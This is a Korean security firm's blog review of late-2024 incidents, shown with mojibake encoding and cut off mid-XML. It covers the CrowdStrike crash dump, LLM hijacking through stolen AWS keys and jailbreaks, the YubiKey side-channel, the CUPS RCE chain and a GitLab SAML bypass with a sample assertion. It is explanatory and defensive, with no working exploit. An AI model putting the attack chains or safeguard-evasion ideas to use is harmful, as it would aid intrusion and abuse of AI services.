2024 ํ๋ฐ๊ธฐ Hot๐ฅ๋ณด์ ์ฌ๊ฑด ์ฌ๊ณ
๊ฐ์
2024๋ ๋ ๋ง๋ฌด๋ฆฌ๊ฐ ๋์ด๊ฐ๋๋ค. ์ด๋ฒ ํฌ์คํธ์์๋ Security Assessment ํ์ ์ฐ๊ตฌ์๋ค์ด ์ ์ ํ ์ฃผ์ ๋ณด์ ์ฌ๊ฑด/์ฌ๊ณ ๋ค๊ณผ ํจ๊ป ์ฌํด์ ํ๋ฐ๊ธฐ๋ฅผ ๋์๋ณด๋ ์๊ฐ์ ๊ฐ์ง๋๋ก ํ๊ฒ ์ต๋๋ค.
์๋ฐ๊ธฐ์ ์ฃผ์ ๋ณด์ ์ฌ๊ฑด/์ฌ๊ณ ์ ๋ํ ๋ด์ฉ์ 2024 ์๋ฐ๊ธฐ ๋ณด์ ์ฌ๊ฑด ์ฌ๊ณ ์์ ํ์ธํ์ค ์ ์์ต๋๋ค.
1. CrowdStrike Blue Screen
ํ๊ตญ ์๊ฐ 2024๋ 7์ 19์ผ ์คํ 1์๊ฒฝ, Windows ์ด์์ฒด์ ๋ฅผ ์ฌ์ฉํ๋ PC์์ ์๋์ ๊ฐ์ด ๋ธ๋ฃจ ์คํฌ๋ฆฐ(Blue Screen of Death, BSoD)์ด ๋ํ๋๋ฉฐ ์ ์ธ๊ณ ์๋น์ค์ ํฐ ์ฅ์ ๊ฐ ๋ฐ์ํ์ต๋๋ค.
ํด๋น ์ฌ๊ณ ๋ ๋ณด์ ์๋ฃจ์ ํ์ฌ CrowdStrike์ ๋ณด์ ์ํํธ์จ์ด Falcon Sensor์์ ๋ฐ์ํ ์ค๋ฅ๋ก ์ธํ ๊ฒ์ด์์ต๋๋ค. ๋ฌธ์ ๊ฐ ๋ฐ์ํ Falcon Sensor๋ ์ค์๊ฐ์ผ๋ก ์๋ํฌ์ธํธ ํ๋์ ๋ชจ๋ํฐ๋งํ๊ณ ์ ์ฌ์ ์ธ ์ํ์ ํ์ง/๋ถ์ํ๋ EDR(Endpoint Detection and Response) ๊ธฐ์ ๊ณผ ์ ์ฑ์ฝ๋๋ฅผ ํ์งํ๋ ์ํฐ ๋ฐ์ด๋ฌ์ค ๊ธฐ๋ฅ์ ์ ๊ณตํ๋ ๋ณด์ ์๋ฃจ์ ์ ๋๋ค.
2024๋ 2์, Falcon Sensor๋ ์ผ์๋ฅผ ํตํด ๋ฐ์ดํฐ๋ฅผ ์์งํ๊ณ ์ ์ฑ ํ์๋ฅผ ์๋ณํ์ฌ ์๋ ค์ง์ง ์์ ์๋ก์ด ๊ณต๊ฒฉ์ ํ์งํ๊ณ ์๋ฐฉํ ์ ์๋๋ก ํ๋ Rapid Response Content ๊ธฐ๋ฅ์ ๊ฐ๋ฐํ๊ณ , ๋ด๋ถ ํ ์คํธ๋ฅผ ๊ฑฐ์ณ ๋ฐฐํฌํ์ต๋๋ค. ์ถ๊ฐ๋ก, Windows ํ๋ก์ธ์ค ๊ฐ ํต์ (Inter-Process Communication, IPC)์ ์ ์ฉํ๋ ์๋ก์ด ๊ณต๊ฒฉ ๊ธฐ๋ฒ์ ํ์งํ๊ธฐ ์ํด Rapid Response Content์ ์ ๋ฌํ 21๊ฐ์ ํ๋๋ฅผ ํฌํจํ๋ ์๋ก์ด ์ ํ์ ํ ํ๋ฆฟ์ ์์ฑํ์ต๋๋ค.
์ด๋ฒ ๋ธ๋ฃจ ์คํฌ๋ฆฐ ๋ฐ์์ ์์ธ์ ์ด ํ ํ๋ฆฟ์ ์์์ต๋๋ค. 21๊ฐ์ ํ๋๋ฅผ ์ ๋ฌํด์ผ ํ์ง๋ง, ์ ๋ฐ์ดํธ๋ก ์ธํด 20๊ฐ์ ํ๋๋ฅผ ์ ๋ฌํ๊ฒ ๋๋ฉด์ Out-of-Bounds memory read ์๋ฌ๊ฐ ๋ฐ์ํ์ฌ ๋ธ๋ฃจ ์คํฌ๋ฆฐ์ด ๋ํ๋๊ฒ ๋์์ต๋๋ค. ์๋ฌ์ ๋ํ ๋ด์ฉ์ ์๋์ ๊ฐ์ต๋๋ค.
1: kd> dp @rax l0n21
ffffae03`5f57f280 ffffae03`5f57f320 ffffae03`5f57f330
ffffae03`5f57f290 ffffae03`5f57f340 ffffae03`5f57f350
ffffae03`5f57f2a0 ffffae03`5f57f360 ffffae03`5f57f370
ffffae03`5f57f2b0 ffffae03`5f57f380 ffffae03`5f57f390
ffffae03`5f57f2c0 ffffae03`5f57f3a0 ffffae03`5f57f3b0
ffffae03`5f57f2d0 ffffae03`5f57f3c0 ffffae03`5f57f3d0
ffffae03`5f57f2e0 ffffae03`5f57f3e0 ffffae03`5f57f3f0
ffffae03`5f57f2f0 ffffae03`5f57f400 ffffae03`5f57f410
ffffae03`5f57f300 ffffae03`5f57f420 ffffae03`5f57f430
ffffae03`5f57f310 ffffae03`5f57f440 ffffae03`5f57f450
ffffae03`5f57f320 ffffd603`0000006a
1: kd> !pte ffffd603`0000006a
VA ffffd6030000006a
PXE at FFFFFE7F3F9FCD60 PPE at FFFFFE7F3F9AC060 PDE at FFFFFE7F3580C000
PTE at FFFFFE6B01800000
contains 0A00000107A00863 contains 0000000000000000
pfn 107a00 ---DA--KWEV contains 0000000000000000
not valid
20๋ฒ์งธ ์ธ๋ฑ์ค๊น์ง๋ ์ ์์ ์ธ ๊ฐ์ด ๋ค์ด๊ฐ์ง๋ง, 21๋ฒ์งธ ์ธ๋ฑ์ค์๋ ์ ํจํ์ง ์์ ์ฃผ์๊ฐ ๋ค์ด๊ฐ ์์ต๋๋ค. ๋ฐ๋ผ์ ์ ํจํ์ง ์์ ์ฃผ์ ์ ๊ทผ ์๋์ ๋ฐ๋ผ CPU์์ ์์ธ์ค ์๋ฐ ์์ธ๊ฐ ๋ฐ์ํ๊ณ , ๊ทธ ๊ฒฐ๊ณผ๋ก ๋ธ๋ฃจ ์คํฌ๋ฆฐ์ด ๋ฐ์ํ์ต๋๋ค.
๋คํํ ํด๋น ์๋ฌ๊ฐ ์ง์ ์ ์ธ ์์ธ์ด ๋์ด ์ถ๊ฐ์ ์ธ ๋ณด์ ์ํ์ด ๋ฐ์ํ์ง๋ ์์์ง๋ง, ์ด ์ฌ๊ฑด์ ๊ณ๊ธฐ๋ก ์๊ธด ํจ์น๋ฅผ ์ฐพ๋ ํผํด์๋ค์ ๋์์ผ๋ก ๊ณต๊ฒฉ์๊ฐ ๊ฐ์ง ํจ์น ํ์ผ์ ๋ฐฐํฌํ๋ ์ผ์ด ์์์ต๋๋ค. CrowdStrike๋ ์๋ ๋งํฌ์ ๋ธ๋ก๊ทธ ํฌ์คํธ๋ฅผ ํตํด ์ ์ฑ์ฝ๋ ๋ฐฐํฌ๋ฅผ ์ํด CrowdStrike์ ์ ์ฌํ ๋๋ฉ์ธ์ ์ ์ฉํ ์ฌ๋ก๋ฅผ ์ธ๊ธํ๋ฉฐ, ๊ณต์ ์ฑ๋์ ํตํด ๋ด๋น์์ ์ํตํ์ฌ ๊ธฐ์ ์ง์์ ๋ฐ์์ผ ํ๋ค๋ ๊ฒ์ ์๋ ธ์ต๋๋ค.
https://www.crowdstrike.com/en-us/blog/likely-ecrime-actor-capitalizing-on-falcon-sensor-issues/
https://www.crowdstrike.com/en-us/blog/falcon-sensor-issue-use-to-target-crowdstrike-customers/
์ด๋ฒ ์ฌ๊ฑด์ ์ํํธ์จ์ด ๊ฐ๋ฐ ๋ฐ ์ฝ๋ ๊ฒ์๋ฅผ ํตํ ํจ์น ์ฝ๋ ์ ์ ์ ์ถ๊ฐ์ ์ธ ๋ฒ๊ทธ์ ๋ฐ์์ ๋ฐฉ์งํ๊ธฐ ์ํด ์ฒ ์ ํ ํฌ๋ก์ค ์ฒดํฌ๊ฐ ์ค์ํ๋ค๋ ๊ฒ์ ์๋ ค์ฃผ๋ ์ฌ๋ก์ ๋๋ค. ์์ ๊ฐ๋ฐ ์ฌ์ด๋ ์ดํํธ๋ก ๋ฐ์ํ ๋ณด์ ์ํ ์ฌ๋ก์์๋ ์ดํด๋ณด์๋ฏ์ด, ์๋ก์ด ๊ธฐ๋ฅ์ ์ถ๊ฐ๋ ์ ์ฌ์ ์ธ ๋ณด์ ์ํ์ผ๋ก ์ด์ด์ง ์ ์์ต๋๋ค. ๋ณด์ ์๋ฃจ์ ์ ์ฒด๋ค์ ํญ์ ์ด ๋ถ๋ถ์ ์๊ฐํ๋ฉฐ, ๋ณด๋ค ์์ ํ ์๋น์ค๋ฅผ ์ ๊ณตํ๊ธฐ ์ํด ๋ ธ๋ ฅํด์ผ ํ ๊ฒ์ ๋๋ค.
Reference
2. GEN AI Infrastructures Attack, LLM Hijacking
์ต๊ทผ ๋๊ท๋ชจ ์ธ์ด ๋ชจ๋ธ(LLM)๋ก ๋ํ๋๋ ์์ฑํ AI ์ธํ๋ผ ์ฌ์ฉ์ ์ํ ํด๋ผ์ฐ๋ ์๋น์ค๋ฅผ ๋์์ผ๋ก ์๋ก์ด ๊ณต๊ฒฉ LLM Hijacking์ด ๋ฑ์ฅํ์ต๋๋ค. ๋ง์ ํผํด ์ฌ๋ก๋ฅผ ๋ง๋ค์ด๋ด๊ณ ์๋ ํด๋น ๊ณต๊ฒฉ ๊ธฐ๋ฒ์ LLM ์ ํ๋ฆฌ์ผ์ด์ ํธ์คํ ์๋น์ค(์: AWS Bedrock)๋ฅผ ์ฌ์ฉํ๋ ํผํด์๋ค์ ๋์์ผ๋ก ํ๋ฉฐ, ํด๋ผ์ฐ๋ ์๋น์ค์์ ๋ฐ์ํ๋ ๊ธฐ์กด์ ์ํ๋ค๊ณผ ๋ง์ฐฌ๊ฐ์ง๋ก, ์ฃผ๋ก access key ๋ฐ ํฌ๋ฆฌ๋ด์ ๋ ธ์ถ๋ก๋ถํฐ ์์๋ฉ๋๋ค.
๊ณต๊ฒฉ์๋ค์ LLM Hijacking์ ํตํด ํผํด์๋ค์ LLM ์๋น์ค ๋น์ฉ์ผ๋ก ์์ ๋ค์ด ํธ์คํ ํ๋ AI ์ ํ๋ฆฌ์ผ์ด์ ์ ์ด์ํ๊ณ ์์ต๋๋ค. ์ด๋ค์ ์ด๋ฅผ ํตํด ์ฑ์ธ ์ ์ฉ ์ฑํ ๋ด ๋ฐ ์๋ ๋์ ๋ถ๋ฒ ์ฑ ๊ด๋ จ ์ฝํ ์ธ ๋ฅผ ์ ๊ณตํ๊ณ , ๋ค์ํ LLM Jailbreak ๊ธฐ๋ฒ์ ํตํด ์ฝํ ์ธ ํํฐ๋ง์ ์ฐํํ์ฌ ๋ถ๋ฒ์ ์ธ ์์ต์ ์ฐฝ์ถํ๊ณ ์์ต๋๋ค.
2024๋ 8์ Permiso๊ฐ ๋ธ๋ก๊ทธ๋ฅผ ํตํด ๊ณต๊ฐํ ๋ด์ฉ์ ๋ฐ๋ฅด๋ฉด, ๊ณต๊ฒฉ์๋ค์ AWS access key๋ฅผ ํ๋ํ ๋ค ๊ธฐ์กด ์๋น์ค[์: Simple Email Service(SES), Elastic Compute(EC2)]๋ฅผ ์ ์ฉํ๋ ์ง๋ ๋ช ๋ ๊ณผ ๋ฌ๋ฆฌ, Bedrock์ ์ ์ฉํ์ฌ ๋ ํฐ ์์ต์ ์ฐฝ์ถํ๊ณ ์์ต๋๋ค. LLM ์๋น์ค ๋น์ฉ ์ฆ๊ฐ ๋ฐ ์ฑ์ธ์ฉ ๋กคํ๋ ์ AI ์ฑ๋ด ์๋น์ค์ ๋ํ ์์ ์ฆ๊ฐ๋ก ์ธํด LLM ์๋น์ค ์ ์ฉ์ด ๊ณต๊ฒฉ์๋ค์ ๋ ํฐ ์์ต ๋ชจ๋ธ๋ก ์๋ฆฌ์ก๊ฒ ๋์์ต๋๋ค.
Permiso ํ์ ํ๋ํ์ ํตํด ๋ก๊ทธ๋ฅผ ํ์ธ ๋ฐ ๋ถ์ํ๋ ๊ณผ์ ์์, ๊ณต๊ฒฉ์๋ค์ด ๊ธฐ์กด LLM ๋ณดํธ ๊ธฐ๋ฒ(safeguard)์ ๋ฒ์ด๋ ์์ ๋กญ๊ฒ ๋ถ๋ฒ์ ์ธ ์ฝํ ์ธ ๋ฅผ ์์ฑํ๊ธฐ ์ํด ๋ค์ํ Prompt Injection ๋ฐ ๋ชจ๋ธ Jailbreak๋ฅผ ์๋ํ๊ณ , ๊ทธ๋ฅผ ํตํด ์ฑ๊ณต์ ์ผ๋ก ์๋น์ค๋ฅผ ์ ๊ณตํ๋ ๊ฒ์ ์ถ๊ฐ๋ก ํ์ธํ์์ต๋๋ค. ์ด์ ๋ํ ๊ตฌ์ฒด์ ์ธ ๋ด์ฉ์ Permiso ๋ธ๋ก๊ทธ์์ ํ์ธํ ์ ์์ต๋๋ค. ํด๋น ์ฌ๋ก๋ ๋ค์ํ๊ฒ ๊ด์ฐฐ๋๊ณ ์์ด, 12์์ ์ฌ๋ผ์จ Wiz ๋ธ๋ก๊ทธ ํฌ์คํธ๋ฅผ ํตํด Wiz ํ์ด ๋ฐ๊ฒฌํ ์ ์ฌ ๊ณต๊ฒฉ ์ฌ๋ก(JINX-2401 campaign) ์ญ์ ํ์ธํ ์ ์์ต๋๋ค.
LLM Hijacking์ ์์ฑํ AI ๋ฐ LLM๊ณผ ๊ด๋ จ๋ ์๋ก์ด ๊ณต๊ฒฉ ๊ธฐ๋ฒ๋ค์ ํ์ฉํ์ง๋ง, ๊ทผ๋ณธ์ ์ธ ๋ฐ์ ์์ธ์ AWS ์๋น์ค๋ฅผ ๋์์ผ๋ก ํ๋ ๊ธฐ์กด ๊ณต๊ฒฉ๋ค๊ณผ ๋์ผํฉ๋๋ค. ๋ฐ๋ผ์, ๋ฌธ์ ๋ฐฉ์ง๋ฅผ ์ํด ํด๋ผ์ฐ๋ ์๋น์ค ์ฌ์ฉ ์ ๊ธฐ๋ณธ์ ์ผ๋ก IAM ์ ์ฑ ์ ์ต์ ๊ถํ ์์น์ ์ ์ฉํ๊ณ , ๋ณด์ ๋ชจ๋ํฐ๋ง์ ๊ฐํํด์ผ ํฉ๋๋ค. ๋ํ, ๋์ผํ access key ๋ฐ secret์ ์ฅ๊ธฐ์ ์ธ ์ฌ์ฉ์ ์ง์ํ๊ณ , Identity Federation ๋ฐ Multi-Factor Authentication(MFA)๋ฅผ ๊ฐ์ ํ๋ ๊ธฐ๋ณธ ๋ณด์ ์ ์ฑ ์ ๋์ ํ ํ์๊ฐ ์์ต๋๋ค. ๋ง์ง๋ง์ผ๋ก, LLM ์๋น์ค ์ฌ์ฉ ์ฌ๋ถ์ ๋ฐ๋ผ Service Control Policies(SCPs) ์ค์ ์ ํตํด Bedrock ์๋น์ค ์ ๊ทผ ๋ฐ ์ฌ์ฉ์ ์ต์ํ ๋๋ ์ ํํ๋ ๊ฒ์ด ํ์ํฉ๋๋ค.
GEN AI ๋ฐ LLM ์๋น์ค์ ๊ธ๊ฒฉํ ์ฑ์ฅ์ ๋ฐ๋ผ ์์ผ๋ก ๋ ๋ง์ ๊ณต๊ฒฉ ๋ฒกํฐ๊ฐ ๋ฑ์ฅํ๊ฒ ๋ ๊ฒ์ ๋๋ค. ์ด๋ฅผ ๋๋นํ๊ธฐ ์ํด์๋, ๊ณต๊ฒฉ์๋ณด๋ค ์์ ๊ทธ๋ค์ ๋์ฆ๋ฅผ ํ์ ํ๊ณ ๊ธฐ์ ์ ์ธ ํด๊ฒฐ์ฑ ์ ์ง์์ ์ผ๋ก ๊ฐ๋ฐ ๋ฐ ๋์ ํด์ผ ํ ๊ฒ์ ๋๋ค.
Reference
3. Side-Channel Attack on the YubiKey 5 Series
NinjaLab์ 2024๋ 9์ Infineon Technologies์ ๋ง์ดํฌ๋ก์ปจํธ๋กค๋ฌ์์ ๋ฐ๊ฒฌ๋ ์ทจ์ฝ์ ์ ๋ค๋ฃฌ ์ฐ๊ตฌ๋ฅผ ๊ณต๊ฐํ์ต๋๋ค. ํด๋น ์ทจ์ฝ์ ์ YubiKey๋ก ๋ํ๋๋ Infineon์ ๋ง์ดํฌ๋ก์ปจํธ๋กค๋ฌ๋ฅผ ์ฌ์ฉํ๋ ๋ณด์ ์ฅ์น์ ์ํฅ์ ๋ฏธ์นฉ๋๋ค. ๊ณต๊ฒฉ์๋ ECDSA ์๋ช ์๊ณ ๋ฆฌ์ฆ์์ ๋ฐ์ํ๋ ์ทจ์ฝ์ ์ ์ด์ฉํ์ฌ, Side-Channel ๊ณต๊ฒฉ์ ํตํด ์ ์๊ธฐ ๋ฐฉ์ฌ ์ ํธ๋ฅผ ๋ถ์ํจ์ผ๋ก์จ ๋น๋ฐํค๋ฅผ ์ถ์ถํ ์ ์์ต๋๋ค. ๊ณต๊ฒฉ์ ์ ๊ธฐ ์ ํธ ๋ณํ๋ฅผ ๋ณผ ์ ์๋ ์ฅ์น(์: ์ค์ค๋ก์ค์ฝํ)๋ฅผ ์ฌ์ฉํ์ฌ YubiKey์ ์ฌ๋ฌ ๋ฒ ์๋ช ์์ฒญ์ ๋ง๋๋ ๊ณผ์ ์ ๋ฐ์ดํฐ๋ฅผ ์์งํ๊ณ , ์์งํ ๋ฐ์ดํฐ์ ์ฐจ์ด ๋ฐ ํจํด์ ํ์ฉํ์ฌ ๋น๋ฐํค๋ฅผ ์ถ์ถํ๋ ๋ฐฉ์์ผ๋ก ์ด๋ฃจ์ด์ง๋๋ค.
Side-Channel ๊ณต๊ฒฉ์ ๊ฐ๋ฅํ๊ฒ ๋ง๋ ์ทจ์ฝ์ ์ ๊ทผ๋ณธ ์์ธ์ ECDSA ์๋ช ๊ณผ์ ์์ ์ฌ์ฉ๋๋ ๋ชจ๋๋ฌ ์ญ์ ๊ณ์ฐ์ด ์์ ์๊ฐ(Constant-Time) ๋ฐฉ์์ผ๋ก ๊ตฌํ๋์ง ์์๊ธฐ ๋๋ฌธ์ ๋๋ค. ์ด๋ก ์ธํด ๊ณ์ฐ ์๊ฐ์ ๋ณ๋์ด ์ธ๋ถ๋ก ๋ ธ์ถ๋๊ณ , ๊ณต๊ฒฉ์๋ ์ ํธ๋ฅผ ํตํด ์ฅ์น์ ๋ด๋ถ ์ํ๋ฅผ ์ ์ถํ ์ ์์ต๋๋ค. ํ์ง๋ง ๊ณต๊ฒฉ์ ์ํด์๋ ์ฅ์น์ ๋ฌผ๋ฆฌ์ ์ผ๋ก ์ ๊ทผํ ์ ์์ด์ผ ํ๋ฉฐ, ๊ณ ๊ฐ์ ์ ๋ฌธ ์ฅ๋น๊ฐ ํ์ํ๊ธฐ ๋๋ฌธ์, ๊ตญ๊ฐ ์ง์ ๊ณต๊ฒฉ(State-sponsored cyberattack) ์์ค์ ๊ณ ๋ํ๋ ์ํ ์๋๋ฆฌ์ค๊ฐ ์๋๋ผ๋ฉด ํ์ค์ ์ผ๋ก ๊ณต๊ฒฉ์ด ๋ฐ์ํ ๊ฐ๋ฅ์ฑ์ ๋์ง ์์ต๋๋ค.
ํด๋น ์ฐ๊ตฌ๋ ์ฐ๊ตฌ ๊ณผ์ ์์ ECDSA ์๋ช ์๊ณ ๋ฆฌ์ฆ์ ๋์์ ์ ๋ฐํ๊ฒ ๋ถ์ํ๊ณ , ๋ชจ๋๋ฌ ์ญ์ ์ฐ์ฐ์ ๋น์์ ์๊ฐ์ ํน์ฑ์ ํ์ฉํ ๊ณต๊ฒฉ ๊ฐ๋ฅ์ฑ์ ์ ์ฆํ์ต๋๋ค. ์ด๋ Side-Channel ๊ณต๊ฒฉ์ ๋ํ ๊น์ด ์๋ ๋ถ์์ ํตํด ๋ณต์กํ ๋ณด์ ์ํคํ ์ฒ์์๋ ์ทจ์ฝ์ ์ ๋ฐ๊ฒฌํ ์ ์์์ ๋ณด์ฌ์ค ๋ฉ์ง ์ฑ๊ณผ์ ๋๋ค.
Reference
4. Linux CUPS RCE
2024๋
9์ 26์ผ, ๋ณด์ ์ฐ๊ตฌ์ Simone Margaritelli๋ ๋ฆฌ๋
์ค ๊ธฐ๋ฐ ์์คํ
์ CUPS(Common UNIX Printing System)์์ ๋ฐ์ํ๋ 4๊ฐ์ ์ทจ์ฝ์ ์ ๊ณต๊ฐํ์์ต๋๋ค. Chaining์ ํตํด ์๊ฒฉ ์ฝ๋ ์คํ(Remote Code Execution)๊น์ง ์ด์ด์ง ์ ์๋ ์ด ์ทจ์ฝ์ ๋ค์ ๊ฐ๊ฐ cups-browsed
(CVE-2024โ47176), ibcupsfilters
(CVE-2024โ47076), libppd
(CVE-2024โ47175), cups-filters
(CVE-2024โ47177) ๋ผ์ด๋ธ๋ฌ๋ฆฌ์์ ๋ฐ์ํ์์ต๋๋ค. ์ทจ์ฝ์ ์ ์ฃผ์ ์์ธ์ ๋คํธ์ํฌ ์ธํฐํ์ด์ค์์ ์ ๋ขฐํ ์ ์๋ ์์ฒญ์ ์ฒ๋ฆฌํ๊ณ , ์
๋ ฅ ๋ฐ์ดํฐ๋ฅผ ์ ๋๋ก ๊ฒ์ฆํ์ง ์์ ๋ถ๋ถ์ ์์์ต๋๋ค.
์ทจ์ฝ์ ๋ค์ ์ฐ๊ฒฐํ๋ฉด Linux CUPS์ ๋ํ ์ ๋ฐ์ ์ธ ๊ณต๊ฒฉ์ด ๊ฐ๋ฅํฉ๋๋ค. cups-browsed
๋ ๋คํธ์ํฌ ์ธํฐํ์ด์ค์์ ์ ๋ขฐํ ์ ์๋ UDP ํฌํธ 631 ํธ๋ํฝ์ ์์ ํ๊ธฐ ๋๋ฌธ์, ๊ณต๊ฒฉ์๋ ์์ IPP ํจํท์ ์ ๋ฌํ๊ณ ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ์ฃผ์๋ก ์์คํ
์ ์์ฒญ์ ๊ฐ์ ์ ์กํ ์ ์์ต๋๋ค. ์ดํ libcupsfilters
์ทจ์ฝ์ ์ ์ด์ฉํด ์กฐ์๋ IPP ์์ฑ์ ์๋ฒ์ ํ๋ฆฐํฐ ์์ฑ์ผ๋ก ์ฝ์
ํจ์ผ๋ก์จ, ์์ ๋ฐ์ดํฐ๋ฅผ ์์คํ
์ผ๋ก ์ ๋ฌํฉ๋๋ค. ์กฐ์๋ IPP ์์ฑ์ ์์ ํ์ผ(PPD)๋ก ๊ธฐ๋ก๋๊ณ , ์ด ๊ณผ์ ์์ ์์ ๋ช
๋ น์ด ์ฝ์
์ด ๊ฐ๋ฅํด์ง๋๋ค. cups-filters
์foomatic-rip
๋ ๊ตฌ์กฐ์ ์ผ๋ก PPD ํ์ผ ๋ด ๋ช
๋ น์ด๋ฅผ ์ ๋ขฐํ๊ณ ์คํํ๋ ๋ฌธ์ ๋ฅผ ๊ฐ์ง๊ณ ์์ด, ๊ณต๊ฒฉ์๋ PDD์ ์ฝ์
๋ ์์ ๋ช
๋ น์ด๋ฅผ ์คํํ ์ ์์ต๋๋ค.
ํด๋น ์ทจ์ฝ์ ๋ค์ CUPS๊ฐ ๊ธฐ๋ณธ์ ์ผ๋ก ํ์ฑํ๋ ์ํ์์ ๋คํธ์ํฌ ์๋น์ค๊ฐ ์ค์ ๋ ๋๋ถ๋ถ์ GNU/Linux ๋ฐฐํฌํ์ ์ํฅ์ ๋ฏธ์นฉ๋๋ค. ๊ณต๊ฒฉ์๋ ์ด๋ฅผ ์ ์ฉํ์ฌ ๋คํธ์ํฌ์์ ์์ ํ๋ฆฐํฐ ์ค์ ์ ๋ฐฐํฌํ๊ฑฐ๋, ๋ฆฌ๋ ์ค์์ ์ธ์ ์์ฑ์ ์ํ ์ ์์ ์ฝ๋ ์คํ์ ์ ๋ํ ์ ์์ต๋๋ค. CUPS์์ ๋ฐ๊ฒฌ๋ ์ด๋ฒ ์ทจ์ฝ์ ์ ๋จ์ํ ์ธ์ ์๋น์ค์ ๋ณด์ ๋ฌธ์ ๋ฅผ ๋์ด, ๋คํธ์ํฌ๋ฅผ ํตํด ์์คํ ์ ์ฅ์ ํ ์ ์๋ ์ฌ๊ฐํ ์ํ์ด ์ธ์์ ๋๋ฌ๋ ์ฌ๋ก์ ๋๋ค.
Reference
https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/
https://www.akamai.com/ko/blog/security-research/guidance-on-critical-cups-rce
5. GitLab SAML Authentication Bypass
2024๋ 10์, ahacker1 ๋๋ค์์ ์ฌ์ฉํ๋ ์ด์ฉ์๊ฐ Gitlab์ ์ ๋ณดํ SAML 2.0 ์ธ์ฆ ์ฐํ ๋ณด๊ณ ์๊ฐ resolve๋๊ณ , ProjectDiscovery๋ ๋ธ๋ก๊ทธ๋ฅผ ํตํด ํด๋น CVE์ ๋ํ ๋ด์ฉ์ ์์ฑํ์์ต๋๋ค.
SAML 2.0์ ์น ๊ธฐ๋ฐ์ผ๋ก Cross-Domain ์ฌ์ด์ Single-Sign-On(SSO)๋ฅผ ์ง์ํฉ๋๋ค. ์๋ฅผ ๋ค์ด, ์ด์ฉ์๊ฐ ์ ๊ทผํ๋ ค๋ ์ ํ๋ฆฌ์ผ์ด์ (service-provider, sp)์ด SAML 2.0์ ํตํด ์ธ์ฆ์ ์ํํ๋ค๋ฉด, ์ด์ฉ์๋ ์ธ์ฆ์ ๋ด๋นํ๋ ์๋น์ค(identity provider, idp)(์: okta)์ ์ ๊ทผํ์ฌ SAML Request๋ฅผ ์ ์กํ๊ณ , ๋ฐ๊ธ ๋ฐ์ SAML Response๋ฅผ sp์ ์ ๋ฌํฉ๋๋ค.
SAML 2.0์ xml ๊ธฐ๋ฐ์ ์ธ์ฆ ํ๋กํ ์ฝ๋ก, ํ๋ก ํธ ์ฑ๋(๋ธ๋ผ์ฐ์ )์ ํตํด ์ธ์ฆ์ ์ํํ๊ธฐ๋ ํฉ๋๋ค. ๋ฐ๋ผ์ ๊ณต๊ฒฉ์๊ฐ SAML Response๋ฅผ ๋ณ์กฐํ๋ ์ํ์ ๋ฐฉ์ดํ๊ธฐ ์ํด idp๋ ์์ ์ ๊ฐ์ธํค(private key)๋ฅผ ํตํด์ SAML Response๋ฅผ ์๋ช ํ๊ณ , sp๋ ์ฌ์ ์ ์ฃผ๊ณ ๋ฐ์ idp์ ๊ณต๊ฐํค(public key)๋ฅผ ํตํด ์๋ช ์ ๊ฒ์ฆํ๋ ๋ฌด๊ฒฐ์ฑ ๊ฒ์ฌ ๋ก์ง์ด ์กด์ฌํฉ๋๋ค.
SAML 2.0์ ๋ฌด๊ฒฐ์ฑ
์๋๋ SAML Response ์ค, Authentication/Authorization ์ ๋ณด๋ฅผ ํฌํจํ๊ณ ์๋ Assertion element์ ๋๋ค.
<saml2:Assertion ID="id1978244104239461956894491" IssueInstant="2024-11-25T07:45:51.914Z"
Version="2.0" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">
<saml2:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity"
xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">
http://www.okta.com/exk4inopqamS9Yhof697</saml2:Issuer>
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" />
<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" />
<ds:Reference URI="#id1978244104239461956894491">
<ds:Transforms>
<ds:Transform
Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" />
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" />
</ds:Transforms>
<ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" />
<ds:DigestValue>UP3fyYNL5o21aMutIIF+z5DHHCeK83HKMU9Jcyzweg0=</ds:DigestValue>
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>
ARhr6QlCabLTfxw76iZKV0Edb2AkGWqveGa9WSRfLU5CBg2Xb5HvM8LFte1cvp+4WQwk5G5PG1ijRG31i06i1BvemUmUpBT5W8a62XWHopEHw/bCxm4qIBGM3T5MdeePsfJAG1gQ8cA/xIk9ILxvYp/ngFJ/zl0glRi11q1KHLiggUzwnCComItI6BaU8ELWAmFnX/goUOI530I2ypFfFKKyHqKBonzvVbnYxcyZtP/9pO4VGP1lT58o7IksolyO7mYhPTUC8fc2qH9qrPUCfwrayeimn3lmtNBQyRQT9jJ53jdsf4lf2KTZAgx6XqL6k7QZSzd2E0zosfj4Kg72gQ==</ds:SignatureValue>
<ds:KeyInfo>
<ds:X509Data>
<ds:X509Certificate>{idp public key}</ds:X509Certificate>
</ds:X509Data>
</ds:KeyInfo>
</ds:Signature>
<saml2:Subject xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">
<saml2:NameID Format="urn:oasis:names:tc:SAML:2.0:nameid-format:persistent">
theori@theori.io</saml2:NameID>
<saml2:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml2:SubjectConfirmationData
InResponseTo="_4b6233e38331ce08d6e0140a87ee951c3280fd6803cb75f4a59b0fac1c902627"
NotOnOrAfter="2024-11-25T07:50:51.915Z"
Recipient="https://github.com/orgs/mygithub-orgs/saml/consume" />
</saml2:SubjectConfirmation>
</saml2:Subject>
<saml2:Conditions NotBefore="2024-11-25T07:40:51.915Z"
NotOnOrAfter="2024-11-25T07:50:51.915Z"
xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">
<saml2:AudienceRestriction>
<saml2:Audience>https://github.com/orgs/mygithub-orgs</saml2:Audience>
</saml2:AudienceRestriction>
</saml2:Conditions>
<saml2:AuthnStatement AuthnInstant="2024-11-25T07:45:51.471Z"
SessionIndex="_4b6233e38331ce08d6e0140a87ee951c3280fd6803cb75f4a59b0fac1c902627"
